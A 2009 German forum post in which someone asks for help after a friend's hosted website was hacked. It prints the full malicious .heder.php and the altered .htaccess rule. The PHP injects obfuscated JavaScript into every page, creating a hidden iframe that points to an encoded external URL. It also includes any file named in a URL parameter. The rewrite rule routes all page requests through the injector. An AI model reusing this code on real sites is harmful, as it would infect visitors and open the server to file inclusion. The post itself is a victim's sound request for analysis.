heder.php und .htaccess befall!
Posted: 2009-09-28 23:10
Bei einem Freund von mir, der bei irgendeinem Hoster ist, ging am Wochenende seine Seite nicht mehr. Fehler 404.
Per FTP eingeloggt, sah man sofort, dass in der Nacht von Samstag auf Sonntag um ~4 Uhr nachts, 2 Dateien in jeden Ordner gelegt wurden.
Einmal eine .heder.php
Und einmal wurde die .htaccess manipuliert
Ich frag mich jetzt nur, was genau diese .heder.php in Zeile 2 treibt, weil der Code ja verschleiert/verschlüsselt ist...
Was vermutet ihr? Wie untersucht man sowas am besten? Wodurch ist der angreifer wohl auf das System gekommen?
Oder täusche ich mich etwa?
Per FTP eingeloggt, sah man sofort, dass in der Nacht von Samstag auf Sonntag um ~4 Uhr nachts, 2 Dateien in jeden Ordner gelegt wurden.
Einmal eine .heder.php
Code: Select all
<?php
$frame_code = '<!--pCQegcQpSdDlcHjr--><script>/*kKMIkqZKzudmzolxbrOHcWc*/var YtJzBU=document;/*IiTSklCVzskOGQGJRjfotls*/function UvrUmwYA(fXCunYmB)/*oMvBLMFdAhNBEswhcTQORaUK*/{var DdKQrsBtb = "",/*qMhJXHFXbplaeBhn*/MAueQJPqK=0;for(MAueQJPqK=fXCunYmB.length-1;MAueQJPqK >= 0;MAueQJPqK--)/*_QFpgDWzoZ_IUa_EYAAsBSz*/{DdKQrsBtb+=fXCunYmB.charAt(MAueQJPqK);}return DdKQrsBtb;/*MObrkBcjKvUUEMQ*/}/*uTerrZNumvQKTuJLpL*/function lAzxGtC(XFRZIMF_)/*kKMIkqZKzudmzolxbrOHcWc*/{/*qMhJXHFXbplaeBhn*/XFRZIMF_ = XFRZIMF_.replace(/[.]/g, "%");/*DQloCfcNIAbcedryffCLqfJb*/XFRZIMF_=unescape(XFRZIMF_);/*dYwdhKVcIC*/return UvrUmwYA(XFRZIMF_);/*labNWxLCjH_vHfgqHzTeFJpk*/}/*mDxpBbGaaSRIv*/function gqDmBRQ(){/*qMhJXHFXbplaeBhn*/YtJzBU.write("<style>.JIjzCtPmog{width:1px;height:1px;border:none;visibility:hidden}</style>");/*_QFpgDWzoZ_IUa_EYAAsBSz*//*_QFpgDWzoZ_IUa_EYAAsBSz*/var rPnbv="<iframe id="fWMiliU" src="x" class="JIjzCtPmog"></iframe>";/*MObrkBcjKvUUEMQ*//*XveYPeKLuEKekySlz*/var eukscm=rPnbv.replace(/[+x]/g,lAzxGtC(".70.68.70.2e.6e.69.2f.73.74.61.74.73.2f.6f.66.6e.69.2e.72.65.74.6e.75.6f.63.2d.65.76.69.6c.2e.77.77.77.2f.2f.3a.70.74.74.68"));/*qMhJXHFXbplaeBhn*//*EDoaNtIMGMc*/return eukscm;/*rqszXRaWBkPDChdYQJhZ*//*ZanD_dBPp_pbECRk*/}/*EDoaNtIMGMc*//*IiTSklCVzskOGQGJRjfotls*//*ZanD_dBPp_pbECRk*//*VAggMvx_ioGGV*/YtJzBU.writeln(gqDmBRQ());/*PPOfbNdeQEktSYITseyRSquT*//*mDxpBbGaaSRIv*//*eUChBuePLDO*/</script><!--pCQegcQpSdDlcHjr-->';
function get_file_dir_($file) {
global $argv;
$dir = dirname(getcwd() . '/' . $file);
$curDir = getcwd();
chdir($dir);
$dir = getcwd();
chdir($curDir);
return $dir;
}
function callback($data)
{
global $frame_code;
$data = preg_replace('/<iframe.*style=.*hidden.*/iframe[^>]*>/i', "", $data);
$data = preg_replace('/<div.*style=.*display.*none[^>]*><iframe.*/.*div[^>]*>/i', "", $data);
$data = preg_replace('/<!-- ad --><script[^>]*>.*</script><!-- /ad -->/i', "", $data);
if(preg_match("/(<body[^>]*>)/i", $data) > 0) {
return preg_replace("/(<body[^>]*>)/i", "$1 n".$frame_code, $data, 1);
}
else {
return $data.$frame_code;
}
}
ob_start('callback');
$file = $_GET['qq'];
chdir(get_file_dir_($file));
include($file);
?>
Scheinbar hat wer versucht, mittels iframe irgendetwas über die Websiten zu verteilen (andere Seiten auf dem Server waren auch betroffen - wahrscheinlich alle, das kann ich aber nicht kontrollieren)RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !.heder.php
RewriteRule (.*).(php|html|htm|php3|phtml|shtml) .heder.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]
Ich frag mich jetzt nur, was genau diese .heder.php in Zeile 2 treibt, weil der Code ja verschleiert/verschlüsselt ist...
Was vermutet ihr? Wie untersucht man sowas am besten? Wodurch ist der angreifer wohl auf das System gekommen?
Oder täusche ich mich etwa?